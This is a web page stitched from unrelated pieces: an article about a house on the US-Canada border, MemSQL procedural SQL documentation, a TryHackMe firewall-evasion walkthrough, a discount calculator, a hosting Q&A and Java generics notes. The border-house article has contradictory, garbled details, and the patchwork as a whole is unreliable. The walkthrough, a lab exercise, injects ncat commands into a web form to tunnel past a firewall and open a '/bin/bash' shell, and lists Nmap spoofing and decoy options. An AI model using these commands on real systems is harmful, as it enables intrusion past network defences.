In some states, it’s not illegal to build a house across the border, but in others, it’s considered trespassing. The political implications of doing so can be considerable. For example, if you were to build a home across the state line, you’d have to pay taxes in both states and would likely have to deal with local issues. The political ramifications are not the only ones that complicate the issue.
Costs
Crossing state boundaries to build a new home can be a costly venture. The costs of transport, skilled labor, and market value of services vary widely from one area to the next, but the overall construction process is typically much less expensive if you’re located in the same state. There are also some additional expenses that you might have to consider if you plan to build your new home in a remote location.
The construction costs for a 2,000-square-foot house in the US vary wildly, from $60,000 to $1 million. This estimate does not account for the plot or land development costs, nor does it factor in the interior designer fees and materials. Other costs to consider include the cost of site preparation, utilities, government fees, mandates, and finance costs, which can make up a quarter of the total cost.
A mid-range house in Texas costs $175 per square foot, while a mid-range home in North Dakota cost only $135. You can also compare the construction costs of a single-family home built by a different builder. The cost of a single-family, 2,000-square-foot house in Texas could cost as little as $100 per square foot, while a custom-built, four-bedroom, six-bedroom house can cost up to $400 per square-foot.
When building a new house, you’ll want to consider how much each element of it costs. It may be cheaper to build a pre-built house, since it already includes the land and house. You may also find a better deal on a home that needs a lot of repairs, such as a bungalow. However, building a house from scratch is both expensive and stressful.
DuMoulin family’s border house
A 7,000-square-foot fixer-upper straddles the US and Canadian border, and is now for sale for $109,000. Brian and Joan DuMoulin inherited the property 40 years ago, before security measures were tightened after 9/11. Brian and Joan, who have dual Canadian and US citizenship, also have a house in nearby Morgan, Vermont. They plan to move to Ontario, Canada, and are considering selling the property to do so.
The DuMoulin family built this border house deliberately in 1782 as a general store, and later subdivided it into five apartments. Three of them are in the US, with the other two in Canada. The house is registered in both countries, and the owner pays taxes in both jurisdictions. The DuMoulins have had only one enquiry from Canada. The house is for sale for $109,000, and needs some renovations.
The DuMoulin family’s border house is next to the Canadian border, which can lead to confusion and stress. However, security officials do their best to become familiar with the family. While they do not want to interfere with the DuMoulins’ lives, they try to help them get through the area by being a part of it. It becomes difficult, though, to navigate the property, as the property is shared between two countries.
The house is situated near the border, and the house has two entrances. There is a border marker outside the front door, and Brian DuMoulin grew up there. The house is surrounded by US and Canadian border patrol agents. The house is protected by a 24/7 border patrol. The DuMoulins’ property taxes are paid to both countries. There is no reason why the property taxes should be lower than they are paying in Canada.
The property was built in 1782 and is for sale for $109,000. Brian DuMoulin inherited the property from his aunt more than 40 years ago. The house has nine bedrooms and three bathrooms, and the south side of the home faces Canusa Street in Vermont. Its name echoes the two countries that the home borders. Brian and Joan DuMoulin are dual citizens, and are used to dealing with the unusual procedures.
Оцените статью
Добавить комментарии
;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:
HashSet, HashMap, Union, and Rehashing in Java
Which is the Best State to Live in — Virginia Or Indiana? image 0
Which is the Best State to Live in — Virginia Or Indiana?
|
__label__pos
| 0.795497 |
You are viewing an older version of this section. View current production version.
Join the MemSQL Community Today
Get expert advice, develop skills, and connect with others.
Control Flow Statements
This topic describes the syntax to define logical control flow in MemSQL Procedural SQL (MPSQL) for stored procedures and user-defined scalar-valued functions (UDFs). The following control flow statements are described in this topic:
Statement Blocks
Statement blocks optionally declare variables, then enclose one or more statements, and optionally handle exceptions. A statement block acts as a single compound statement.
When executed, the statements in the statement_list portion of the block are processed sequentially. Each statement in a statement_list must be terminated with a semicolon (;).
Statement blocks can be nested. A statement block can appear where a statement appears. Variables cannot be defined in a nested block which override the definition of variables or parameters with the same name defined in an enclosing block.
Syntax
[ DECLARE variable_list ] [ ...n ]
BEGIN
statement_list
[ EXCEPTION
when_clause_list ]
END
Arguments
variable_list
A variable definition or series of definitions. A sequence of zero or more DECLARE keywords may appear, each with its own variable_list.
statement_list
Any valid procedural SQL statement or series of statements.
when_clause_list
The when_clause_list defines different possible exception conditions and statements to handle them. See the Exceptions and Exception Handling topic for more details.
Examples
The following example adds one to the input integer and returns the result.
DELIMITER //
CREATE FUNCTION plus_one(a INT) RETURNS INT AS
DECLARE
b INT = a;
BEGIN
b += 1;
RETURN b;
END //
DELIMITER ;
memsql> SELECT plus_one(1);
+-------------+
| plus_one(1) |
+-------------+
| 2 |
+-------------+
The example below illustrates nested statement blocks, and the general syntax of the DECLARE statements at the beginning of a block.
DELIMITER //
CREATE OR REPLACE FUNCTION nesting(i INT) RETURNS BIGINT AS
DECLARE x INT = 0;
DECLARE z1 INT; z2 VARCHAR(255);
BEGIN
DECLARE q INT = 0;
BEGIN
IF q = i THEN
DECLARE xx INT = 7;
BEGIN
RETURN q + xx;
END;
ELSE
DECLARE q2 INT = 88;
BEGIN
RETURN q2;
END;
END IF;
END;
END //
DELIMITER ;
memsql> SELECT nesting(0);
+------------+
| nesting(0) |
+------------+
| 7 |
+------------+
memsql> SELECT nesting(1);
+------------+
| nesting(1) |
+------------+
| 88 |
+------------+
IF … THEN … END IF
Specifies one or more statements to be executed if a given boolean expression evaluates to TRUE. All IF blocks must be terminated with the END IF keyword pair.
Syntax
IF boolean_expression THEN
statement_list
END IF;
Arguments
boolean_expression
An expression that evaluates to TRUE or FALSE. If the expression evaluates to TRUE, the statement_list enclosed by THEN ... END IF will be executed. If the expression evaluates to FALSE, the statement_list will not be executed.
statement_list
Any valid procedural SQL statement or series of statements.
Example
The following example returns a boolean value (1 for TRUE and 0 for FALSE) if the input integer is odd.
DELIMITER //
CREATE FUNCTION is_odd(a INT) RETURNS BOOL AS
BEGIN
IF a % 2 = 0 THEN
RETURN FALSE;
END IF;
RETURN TRUE;
END //
DELIMITER ;
memsql> SELECT is_odd(5);
+-----------+
| is_odd(5) |
+-----------+
| 1 |
+-----------+
IF … THEN … ELSE … END IF
Specifies a condition and two alternative lists of statements to execute, depending on whether the condition is true. All IF blocks must be terminated with the END IF keyword pair.
Syntax
IF boolean_expression THEN
statement_list
ELSE
statement_list
END IF;
Arguments
boolean_expression
An expression that evaluates to TRUE or FALSE. If the expression evaluates to TRUE, the statement_list enclosed by THEN ... ELSE will be executed. If the expression evaluates to FALSE, the statement_list following ELSE will be executed instead.
statement_list
Any valid procedural SQL statement or series of statements.
Example
The following example returns a boolean value (1 for TRUE and 0 for FALSE) if the input integer is odd.
DELIMITER //
CREATE FUNCTION is_odd(a INT) RETURNS BOOL AS
DECLARE
result BOOL;
BEGIN
IF a % 2 = 0 THEN
result = FALSE;
ELSE
result = TRUE;
END IF;
RETURN result;
END //
DELIMITER ;
memsql> SELECT is_odd(3);
+-----------+
| is_odd(3) |
+-----------+
| 1 |
+-----------+
IF … THEN … ELSIF … THEN … END IF
Specifies one or more statements to be executed if an initial boolean expression evaluates to TRUE. If this boolean expression evaluates to FALSE, one or more ELSIF boolean expressions are evaluated. If an ELSIF expression evaluates to TRUE, its statement list will be executed, and no additional ELSIF expressions will be evaluated.
An optional ELSE clause can also be specified after a block of ELSIF statements. If none of the boolean expressions preceding the ELSE clause evaluates to TRUE, then the list of statements in the ELSE clause are executed.
All IF blocks must be terminated with the END IF keyword pair.
Syntax
IF boolean_expression THEN
statement_list
ELSIF boolean_expression THEN
statement_list
[...n]
[ELSE
statement_list
]
END IF;
Arguments
boolean_expression
An expression that evaluates to TRUE or FALSE.
statement_list
Any valid procedural SQL statement or series of statements.
Example
The following example accepts a test score as an integer and outputs a grade letter.
DELIMITER //
CREATE FUNCTION test_grade(test_score INT) RETURNS CHAR(1) AS
DECLARE
grade_letter CHAR(1);
BEGIN
IF test_score >= 90 THEN
grade_letter = 'A';
ELSIF test_score >= 80 THEN
grade_letter = 'B';
ELSIF test_score >= 70 THEN
grade_letter = 'C';
ELSIF test_score >= 60 THEN
grade_letter = 'D';
ELSE
grade_letter = 'F';
END IF;
RETURN grade_letter;
END //
DELIMITER ;
memsql> SELECT test_grade(89);
+----------------+
| test_grade(89) |
+----------------+
| B |
+----------------+
LOOP … END LOOP
Specifies one or more statements to execute repeatedly in an infinite loop. Each iteration of the loop executes the statement list and returns control to the top of the loop. Loop statements can be nested within themselves and other control statements, such as IF ... END IF.
Syntax
LOOP
statement_list
END LOOP;
Arguments
statement_list
Any valid procedural SQL statement or series of statements.
Example
The following example creates an endless loop that adds one to the input integer. The RETURN statement will never get reached.
DELIMITER //
CREATE FUNCTION endless_loop(a INT) RETURNS INT AS
DECLARE
b INT = a;
BEGIN
LOOP
b += 1;
END LOOP;
RETURN b;
END //
DELIMITER ;
EXIT and EXIT WHEN
Terminates the current iteration of a loop and then exits the loop body, and optionally when a boolean condition is met. EXIT and EXIT WHEN can be used in any loop body, including LOOP, FOR ... LOOP, or WHILE ... LOOP.
Syntax
{ [FOR | WHILE ] expression } LOOP
[statement_list]
{ EXIT | EXIT WHEN boolean_condition } [loop_label] ;
END LOOP;
Arguments
expression
Any expression associated with the loop declaration, such as a conditional boolean expression.
statement_list
Any valid procedural SQL statement or series of statements.
boolean_expression
An expression that evaluates to TRUE or FALSE. If the expression evaluates to TRUE, the statement_list preceding EXIT will be executed. If the expression evaluates to FALSE, loop will continue iterating until the boolean expression evaluates to TRUE.
loop_label
The optional identifier for a parent loop. If specifying EXIT with a loop label, the label must be set on one of the parent loops.
Examples
IF … THEN … EXIT Example
The following example generates text of the minimum specified length, and uses an EXIT statement in the body of a loop to return the result when the boolean condition is met.
DELIMITER //
CREATE FUNCTION text_generator(min_length INT) RETURNS TEXT AS
DECLARE
lorem_text TEXT = "Lorem ipsum dolor sit amet. ";
result TEXT = lorem_text;
BEGIN
LOOP
IF LENGTH(result) < min_length THEN
result = CONCAT(result, lorem_text);
ELSE
EXIT;
END IF;
END LOOP;
RETURN result;
END //
DELIMITER ;
memsql> SELECT text_generator(50);
+----------------------------------------------------------+
| text_generator(50) |
+----------------------------------------------------------+
| Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet. |
+----------------------------------------------------------+
EXIT WHEN Example
The following example is similar to the LOOP ... IF ... EXIT example and generates text of the minimum specified length. When the length is reached as specified in the WHEN expression, the loop is exited.
DELIMITER //
CREATE FUNCTION text_generator(min_length INT) RETURNS TEXT AS
DECLARE
lorem_text TEXT = "Lorem ipsum dolor sit amet. ";
result TEXT = lorem_text;
BEGIN
LOOP
EXIT WHEN LENGTH(result) >= min_length;
result = CONCAT(result, lorem_text);
END LOOP;
RETURN result;
END //
DELIMITER ;
memsql> SELECT text_generator(50);
+----------------------------------------------------------+
| text_generator(50) |
+----------------------------------------------------------+
| Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet. |
+----------------------------------------------------------+
WHILE … LOOP … END LOOP
Specifies an initial boolean condition and a list of statements. If the expression evaluates to TRUE, the loop will begin execution of the statement list. After each statement is executed, control will be returned to the top of the loop and the boolean expression will be evaluated again. If the expression evaluates to FALSE, the loop will immediately exit.
Syntax
WHILE boolean_expression LOOP
statement_list
END LOOP;
Arguments
boolean_expression
An expression that evaluates to TRUE or FALSE.
statement_list
Any valid procedural SQL statement or series of statements.
Example
The following example is similar to the LOOP ... IF ... EXIT and LOOP ... EXIT WHEN examples, and generates text of the minimum specified length. While the length remains shorter than the desired length, the loop will continue execution. As soon as the condition is met, the loop immediately exits.
DELIMITER //
CREATE FUNCTION text_generator(min_length INT) RETURNS TEXT AS
DECLARE
lorem_text TEXT = "Lorem ipsum dolor sit amet. ";
result TEXT = lorem_text;
BEGIN
WHILE LENGTH(result) < min_length LOOP
result = CONCAT(result, lorem_text);
END LOOP;
RETURN result;
END //
DELIMITER ;
memsql> SELECT text_generator(50);
+----------------------------------------------------------+
| text_generator(50) |
+----------------------------------------------------------+
| Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet. |
+----------------------------------------------------------+
FOR … LOOP … END LOOP
Specifies a loop with a fixed number of iterations using either the size of an array or a range of integer values as the iteration scheme. FOR loops support reverse iteration using the REVERSE keyword and explicit loop strides by specifying an integer value with the BY keyword.
Syntax
Array Range FOR Loop Syntax
FOR counter_variable IN array_expression LOOP
statement_list
END LOOP;
Integer Range FOR Loop Syntax
FOR counter_variable IN [REVERSE]
lower_bound .. upper_bound [BY stride_count] LOOP
statement_list
END LOOP;
Arguments
counter_variable
A variable that is scoped to the body of the FOR loop and must be unique within this scope.
array_expression
An array expression that references an initialized array with a defined length.
lower_bound
An expression that evaluates to an integer value, which represents the lower bound (starting value) of the iteration scheme.
upper_bound
An expression that evaluates to an integer value, which represents the upper bound (ending value) of the iteration scheme.
stride_count
An expression that evaluates to an integer value, which increments the current iteration count by the specified amount after the statement list in the loop body has been executed.
statement_list
Any valid procedural SQL statement or series of statements.
Remarks
When using a FOR loop on a variable that references an array, the loop creates a read-only copy of the array and uses it as the iteration scheme. Therefore, if both the loop declaration and the loop body reference the same array, the loop’s iteration scheme is not affected by any modifications to the array. Instead, the modifications are applied outside the scope of the loop. Consider the following example:
DELIMITER //
CREATE FUNCTION array_modification() RETURNS VARCHAR(255) AS
DECLARE
myarray ARRAY(INT) = [1, 2, 3];
loop_count INT = 0;
BEGIN
FOR i IN myarray LOOP
myarray = [1, 2, 3, 4];
loop_count += 1;
END LOOP;
RETURN CONCAT("loop_count = ", loop_count,
", myarray size = ", LENGTH(myarray));
END //
DELIMITER ;
This example declares an myarray with a size of 3, then loops over the array. In the loop body, the myarray value is changed. However, the loop executes only 3 times. After the loop exits, myarray is updated to the new value with a length of 4. The results are shown below:
memsql> SELECT array_modification();
+----------------------------------+
| array_modification() |
+----------------------------------+
| loop_count = 3, myarray size = 4 |
+----------------------------------+
Examples
FOR Loop on Array Range Example
The following example declares an array and then loops over the array to count its size:
DELIMITER //
CREATE FUNCTION count_array() RETURNS INT AS
DECLARE
myarray ARRAY(INT) = [1, 2, 3];
count INT = 0;
BEGIN
FOR i IN myarray LOOP
count += 1;
END LOOP;
RETURN count;
END //
DELIMITER ;
memsql> SELECT count_array();
+---------------+
| count_array() |
+---------------+
| 3 |
+---------------+
FOR Loop on Integer Range Example
The following example uses a FOR loop to computes the factorial of the input integer and returns it.
DELIMITER //
CREATE FUNCTION factorial(num INT) RETURNS INT AS
DECLARE
factor INT = 1;
BEGIN
FOR i IN 1 .. num LOOP
factor = factor * i;
END LOOP;
RETURN factor;
END //
DELIMITER ;
memsql> SELECT factorial(5);
+--------------+
| factorial(5) |
+--------------+
| 120 |
+--------------+
Reverse FOR Loop Example
The following example uses a reversed FOR loop to count down from the specified input number and returns a text string. Note that the larger number must precede the smaller number in the loop declaration when REVERSE is specified.
DELIMITER //
CREATE FUNCTION countdown(num INT) RETURNS VARCHAR(255) AS
DECLARE
output VARCHAR(255) = "Countdown: ";
BEGIN
FOR i IN REVERSE num .. 1 LOOP
output = CONCAT(output, i, ", ");
END LOOP;
output = CONCAT(output, "Launch!");
RETURN output;
END //
DELIMITER ;
memsql> SELECT countdown(10);
+---------------------------------------------------+
| countdown(10) |
+---------------------------------------------------+
| Countdown: 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, Launch! |
+---------------------------------------------------+
FOR Loop with Stride Length
The following example uses a reverse loop with a stride length of 2 to count down from the input integer and output each even number.
DELIMITER //
CREATE OR REPLACE FUNCTION countdown_evens(num INT) RETURNS VARCHAR(255) AS
DECLARE
output VARCHAR(255) = "Countdown Evens: ";
start INT = num;
BEGIN
IF num % 2 = 1 THEN
start = start - 1;
END IF;
output = CONCAT(output, start);
start = start - 2;
FOR i IN REVERSE start .. 2 BY 2 LOOP
output = CONCAT(output, ", ", i);
END LOOP;
RETURN output;
END //
DELIMITER ;
memsql> SELECT countdown_evens(11);
+---------------------------------+
| countdown_evens(11) |
+---------------------------------+
| Countdown Evens: 10, 8, 6, 4, 2 |
+---------------------------------+
Loop Labels
Loops can be labeled using unique identifier syntax, which makes it easier to identify a specific loop in a series of nested loops. A loop label must be declared before the LOOP keyword, but optionally be labeled after the terminating END LOOP keyword pair.
Loop labels can be used to terminate any loop within the scope of a nested loop by using an EXIT statement. For example, a nested loop can terminate one or more parent loops in addition to itself, effectively short-circuiting any desired parent loops. Loop labels can also be used with the CONTINUE statement for conditional loops to return control to the initial conditional expression. See the examples below for more information.
Syntax
<<label_name>>
{ WHILE boolean_expression LOOP | LOOP }
statement_list
END LOOP [label_name];
Arguments
label_name
An identifier for the loop, enclosed by double angle brackets (<< and >>) for the initial declaration. Loop labels must be unique within the scope of the function body, and cannot conflict with any other identifiers such as input parameters, variables, and so on.
boolean_expression
An expression that evaluates to TRUE or FALSE.
statement_list
Any valid procedural SQL statement or series of statements.
Examples
Loops Labels with EXIT
The following example demonstrates loop labels for EXIT statements by creating a nested loop where the outer loop is named parent and the inner loop is named child.
DELIMITER //
CREATE FUNCTION parent_child_loop(a INT) RETURNS INT AS
DECLARE
b INT = a;
BEGIN
<<parent>>
LOOP
<<child>>
LOOP
EXIT parent WHEN a >= 100;
b += 1;
END LOOP child;
RETURN 200;
END LOOP parent;
RETURN b;
END //
DELIMITER ;
When this function is executed, the outer loop’s RETURN statement is never reached. Instead, the inner loop’s EXIT parent statement is executed when the input value meets or exceeds 100:
memsql> SELECT parent_child_loop(1);
+----------------------+
| parent_child_loop(1) |
+----------------------+
| 100 |
+----------------------+
Loop Labels with CONTINUE
The following example demonstrates loop labels for CONTINUE statements by creating a single WHILE loop.
DELIMITER //
CREATE FUNCTION continue_loop_label(a INT) RETURNS INT AS
DECLARE
b INT = a;
BEGIN
<<myloop>>
WHILE b < 10 LOOP
b += 1;
CONTINUE myloop;
EXIT myloop;
END LOOP myloop;
RETURN b;
END //
DELIMITER ;
When this function is executed, the EXIT myloop statement is never reached because the preceding CONTINUE myloop statement forces return of control to the loop’s initial conditional statement: WHILE a < 10 LOOP.
memsql> SELECT continue_loop_label(1);
+------------------------+
| continue_loop_label(1) |
+------------------------+
| 10 |
+------------------------+
CONTINUE and CONTINUE WHEN
Forces return of control to the top of a loop’s conditional expression or specifies its own conditional expression where, if satisfied, returns control to the top of the loop. CONTINUE syntax can be used in the following ways:
• CONTINUE loop_label in a labeled WHILE boolean_expression LOOP, where the CONTINUE statement returns control to the top of the WHILE loop.
• CONTINUE WHEN boolean_expression in a LOOP, where any statements following the CONTINUE statement will not be executed. Instead, control will be returned to the top of the loop.
See the examples below for more information.
Syntax
[<<label_name>>]
{ WHILE boolean_expression LOOP | LOOP }
statement_list
{ CONTINUE WHEN boolean_expression | CONTINUE label_name }
END LOOP [label_name];
Arguments
label_name
An identifier for the loop, enclosed by double angle brackets (<< and >>) for the initial declaration. Loop labels must be unique within the scope of the function body, and cannot conflict with any other identifiers such as input parameters, variables, and so on.
boolean_expression
An expression that evaluates to TRUE or FALSE.
statement_list
Any valid procedural SQL statement or series of statements.
Examples
CONTINUE for Labeled Loop
The following example demonstrates a CONTINUE statement used inside of a labeled WHILE loop.
DELIMITER //
CREATE FUNCTION continue_labeled_example(a INT) RETURNS INT AS
DECLARE
b INT = a;
BEGIN
<<myloop>>
WHILE b < 10 LOOP
b += 1;
CONTINUE myloop;
EXIT myloop;
END LOOP myloop;
RETURN b;
END //
DELIMITER ;
When this function is executed, the EXIT myloop statement is never reached because the preceding CONTINUE myloop statement forces return of control to the loop’s initial conditional statement: WHILE a < 10 LOOP.
memsql> SELECT continue_labeled_example(1);
+-----------------------------+
| continue_labeled_example(1) |
+-----------------------------+
| 10 |
+-----------------------------+
CONTINUE WHEN for a Non-Labeled Loop
The following example demonstrates loop labels for CONTINUE statements by creating a single loop.
DELIMITER //
CREATE OR REPLACE FUNCTION continue_when_example() RETURNS INT AS
DECLARE
a INT = 0;
b INT = 0;
BEGIN
LOOP
a += 1;
CONTINUE WHEN a < 10;
b += 1;
EXIT WHEN b > 20;
END LOOP;
RETURN a;
END //
DELIMITER ;
In this example, the CONTINUE WHEN statement forces return of control to the top of the loop until the value of a is greater than or equal to 10. After a's value reaches 10, the b += 1 statement will be executed until the exit condition is met.
memsql> SELECT continue_when_example();
+-------------------------+
| continue_when_example() |
+-------------------------+
| 30 |
+-------------------------+
|
__label__pos
| 0.981318 |
Ciphers Security
TryHackMe Walkthrough: Firewalls
Firewalls
Learn about and experiment with various firewall evasion techniques, such as port hopping and port tunnelling.
Room Link Firewalls
A firewall is software or hardware that monitors the network traffic and compares it against a set of rules before passing or blocking it. One simple analogy is a guard or gatekeeper at the entrance of an event. This gatekeeper can check the ID of individuals against a set of rules before letting them enter (or leave).
Before we go into more details about firewalls, it is helpful to remember the contents of an IP packet and TCP segment. The following figure shows the fields we expect to find in an IP header. If the figure below looks complicated, you don’t need to worry as we are only interested in a few fields. Different types of firewalls are capable of inspecting various packet fields; however, the most basic firewall should be able to inspect at least the following fields:
• Protocol
• Source Address
• Destination Address
Question: If you want to block telnet, which TCP port number would you deny?
Answer: 23
Question: You want to allow HTTPS, which TCP port number do you need to permit?
Answer: 443
Question:What is an alternate TCP port number used for HTTP? It is described as “HTTP Alternate.”
Answer: 8080
Question: You need to allow SNMP over SSH, snmpssh. Which port should be permitted?
Answer: 5161
Task 2 Types of Firewalls
Question: What is the most basic type of firewall?
Answer: Packet-Filtering Firewall
Question: What is the most advanced type of firewall that you can have on company premises?
Answer: Next-Generation Firewall
Task 3 Evasion via Controlling the Source MAC/IP/Port
We can dive into all the details embedded into each packet; however, for this exercise, we would like to note the following:
• Our IP address 10.14.17.226 has generated and sent around 200 packets. The -F option limits the scan to the top 100 common ports; moreover, each port is sent a second SYN packet if it does not reply to the first one.
• The source port number is chosen at random. In the screenshot, you can see it is 37710.
• The total length of the IP packet is 44 bytes. There are 20 bytes for the IP header, which leaves 24 bytes for the TCP header. No data is sent via TCP.
• The Time to Live (TTL) is 42.
• No errors are introduced in the checksum.
In the following sections and tasks, we will see how Nmap provides various options to evade the firewall and other network security solutions.
Question: What is the size of the IP packet when using a default Nmap stealth (SYN) scan?
Answer: 44
Question: How many bytes does the TCP segment hold in its data field when using a default Nmap stealth (SYN) scan?
Answer: 0
Question: Approximately, how many packets do you expect Nmap to send when running the command nmap -sS -F MACHINE_IP? Approximate to the nearest 100, such as 100, 200, 300, etc.
Answer: 200
Decoy(s)
Question: Approximately, how many packets do you expect Nmap to send when running the command nmap -sS -Pn -D RND,10.10.55.33,ME,RND -F MACHINE_IP? Approximate to the nearest 100, such as 100, 200, 300, etc.
Answer: 800
Proxy
Question: What do you expect the target to see as the source of the scan when you run the command nmap -sS -Pn --proxies 10.10.13.37 MACHINE_IP
Answer: 10.10.13.37
Spoofed MAC Address
Question: What company has registered the following Organizationally Unique Identifier (OUI), i.e., the first 24 bits of a MAC address, 00:02:DC?
Answer: Fujitsu General ltd
Spoofed IP Address
Question: To mislead the opponent, you decided to make your port scans appear as if coming from a local access point that has the IP address 10.10.0.254. What option needs to be added to your Nmap command to spoof your address accordingly?
Answer: -S 10.10.0.254
Fixed Source Port Number
Question: You decide to use Nmap to scan for open UDP ports. You notice that using nmap -sU -F MACHINE_IP to discover the open common UDP ports won’t give you any meaningful results. What do you need to add to your Nmap command to set the source port number to 53?
Answer: -g 53
Evasion Approach in Nmap Argument
Task 4 Evasion via Forcing Fragmentation, MTU, and Data Length
Question: What is the size of the IP packet when running Nmap with the -f option?
Answer: 28
Question: What is the maximum size of the IP packet when running Nmap with the -ff option?
Answer: 36
Question: What is the maximum size of the IP packet when running Nmap with --mtu 36 option?
Answer: 56
Question: What is the maximum size of the IP packet when running Nmap with --data-length 128 option?
Answer: 148
firewall evasion approach
Task 5 Evasion via Modifying Header Fields
Question: Start the AttackBox and the machine attached to this task. After you give them time to load fully, scan the attached MS Windows machine using --ttl 1 option. Check the number of ports that appear to be open. The answer will vary depending on whether you are using the AttackBox or connecting over VPN. We suggest you try both.
Answer: No Answer
Question: Scan the attached MS Windows machine using --ttl 2 option. How many ports appear to be open?
TryHackMe Walkthrough: Firewalls
Answer: 3
Question: Scan the attached MS Windows machine using the --badsum option. How many ports appear to be open?
TryHackMe Walkthrough: Firewalls 1
Answer: 0
TryHackMe Walkthrough: Firewalls 2
Task 6 Evasion Using Port Hopping
Question: Using this simple technique, discover which port number of the following destination TCP port numbers are reachable from the protected system.
• 21
• 23
• 25
• 26
• 27
Answer: 21
Task 7 Evasion Using Port Tunneling
Question: We have a web server listening on the HTTP port, 80. The firewall is blocking traffic to port 80 from the untrusted network; however, we have discovered that traffic to TCP port, 8008 is not blocked. We’re continuing to use the web form from Task 6 to set up the ncat listener that forwards the packets received to the forwarded port. Using port tunneling, browse to the web server and retrieve the flag.
the traffic is blocked over port 80 so we need to use 8008 in web form, so for openining web form go on machine ip with port 8080 Machine_IP:8080
TryHackMe Walkthrough: Firewalls 3
then inject the following code with little modification in the command box [ ncat -lvnp 443 -c “ncat TARGET_SERVER 25” ]
TryHackMe Walkthrough: Firewalls 4
ncat -lvnp 8008 -c “ncat 10.10.93.152 80”
after executing the command then go with the 8001 port in the browser to get the flag
TryHackMe Walkthrough: Firewalls 5
Answer: THM{***********}
Task 8 Evasion Using Non-Standard Ports
Question: We’re continuing to use the web-form from Task 6 to set up the ncat listener. Knowing that the firewall does not block packets to destination port 8081, use ncat to listen for incoming connections and execute Bash shell. Use the AttackBox to connect to the listening shell. What is the user name associated with which you are logged in?
now first setup the listener from a web-based form ncat -lvnp PORT_NUMBER -e /bin/bash. you access the page from the task 7 MachineIP:8080
TryHackMe Walkthrough: Firewalls 6
after injecting the custom code, use ncat to access the connection, for this use ncat in the attack box and type whoami
TryHackMe Walkthrough: Firewalls 7
Task 9 Next-Generation Firewalls
Question: What is the number of the highest OSI layer that an NGFW can process?
Answer: 7
Firewall evasion techniques
If you have any queries regarding the above content, or you want to update anything in the content, then contact us with your queries. You can directly post your question in the group.
Connect with us on these platforms
RECENT POST
Connect with us
|
__label__pos
| 0.819623 |
Percent-off .com
Forty% off 450
How to calculate forty % off $450. How to figure out percentages off a price. Using this calculator you will find that the amount after the discount is $270.
Discount Calculator
Inputs
Original Price of the Item: $
Discount Percent (% off): %
Results
Amount Saved (Discount): $
Sale / Discounted Price: $
If you are looking for a Percentage Calculator, please click here.
Using this calculator you can find the discount value and the discounted price of an item. It is helpfull to answer questions like:
how to work out discounts - Step by Step
To calculate discount it is ease by using the following equations:
Now, let's solve the questions stated above:
1) What is 40 percent off $450? Find the amount of discount.
Suppose you have a Kohls coupon of $450 and you want to know how much you will save for an item if the discount is 40.
Solution:
Replacing the given values in formula (a) we have:
Amount Saved = Original Price x Discount in Percent / 100. So,
Amount Saved = 450 x 40 / 100
Amount Saved = 18000 / 100
Amount Saved = $180 (answer).
In other words, a 40% discount for a item with original price of $450 is equal to $180 (Amount Saved).
Note that to find the amount saved, just multiply it by the percentage and divide by 100.
2) How much to pay for an item of $450 when discounted 40 percent (%)? What is item's sale price?
Suppose you have a L.L. Bean coupon of $450 and you want to know the final or sale price if the discount is 40 percent.
Using the formula (b) and replacing the given values:
Sale Price = Original Price - Amount Saved. So,
Sale Price = 450 - 180
Sale Price = $270 (answer).
This means the cost of the item to you is $270.
You will pay $270 for a item with original price of $450 when discounted 40%.
In this example, if you buy an item at $450 with 40% discount, you will pay 450 - 180 = $270.
3) 180 is what percent off $450?
Using the formula (b) and replacing given values:
Amount Saved = Original Price x Discount in Percent /100. So,
180 = 450 x Discount in Percent / 100
180 / 450 = Discount in Percent /100
100 x 180 / 450 = Discount in Percent
18000 / 450 = Discount in Percent, or
Discount in Percent = 40 (answer).
To find more examples, just choose one at the bottom of this page.
Sample Percent Calculations
|
__label__pos
| 0.934301 |
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.
Sign up
Here's how it works:
1. Anybody can ask a question
2. Anybody can answer
3. The best answers are voted up and rise to the top
In several webhost commercials, ads, and benefits charts theres sometimes a feature where they will promote or advertise your site to search engines. Usually its part of the package but sometimes they charge money. But what do they actually do?
Only thing I can think of is these sites have link farm sites, which IIRC might hurt your ranking.
What do they usually do? For future reference, are these features worth it?
share|improve this question
It's hard to say and you really should ask them or see if their site offers any details about that service. But the odds are it just means they submit your site to the search engines or offers XML sitemaps tools or submissions. Maybe even free Adwords vouchers or something along those lines. I'm sure it's nothing that costs them money or helps you much at all.
share|improve this answer
In my experience it's usually one of those tools that submits your site to every minor search engine that gets 1 hit a day. – DisgruntledGoat Dec 30 '11 at 3:04
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.96596 |
Wildcard Types Core Java
It was known for some time among researchers of type systems that a rigid system of generic types is quite unpleasant to use. The Java designers invented an ingenious (but nevertheless safe) “escape hatch”: the wildcard type. For example, the wildcard type Pair<?extends Employee> denotes any generic Pair type whose type parameter is a subclass of Employee, such as
Let’s say you want to write a method that prints out pairs of employees, like this:
As you saw in the preceding section, you cannot pass a Pair<Manager> to that method, which is rather limiting. But the solution is simple—use a wildcard type:
Subtype relationships with wildcard
Subtype relationships with wildcard
Can we use wildcards to corrupt a Pair<Manager> through a Pair<? extends Employee> reference?
No corruption is possible. The call to setFirst is a type error. To see why, let us have a closer look at the type Pair<?extends Employee>. Its methods look like this:
This makes it impossible to call the setFirst method. The compiler only knows that it needs some subtype of Employee, but it doesn’t know which type. It refuses to pass any specific type—after all, ?might not match it. We don’t have this problem with getFirst: It is perfectly legal to assign the return value of getFirst to an Employee reference This is the key idea behind bounded wildcards. We now have a way of distinguishing between the safe accessor methods and the unsafe mutator methods.
Supertype Bounds for Wildcards
Wildcard bounds are similar to type variable bounds, but they have an added capability— you can specify a supertype bound, like this:
This wildcard is restricted to all supertypes of Manager. (It was a stroke of good luck that the existing super keyword describes the relationship so accurately.) Why would you want to do this? A wildcard with a supertype bound gives you the opposite behavior of the wildcards. You can supply parameters to methods, but you can’t use the return values.
For example, Pair<? super Manager> has methods
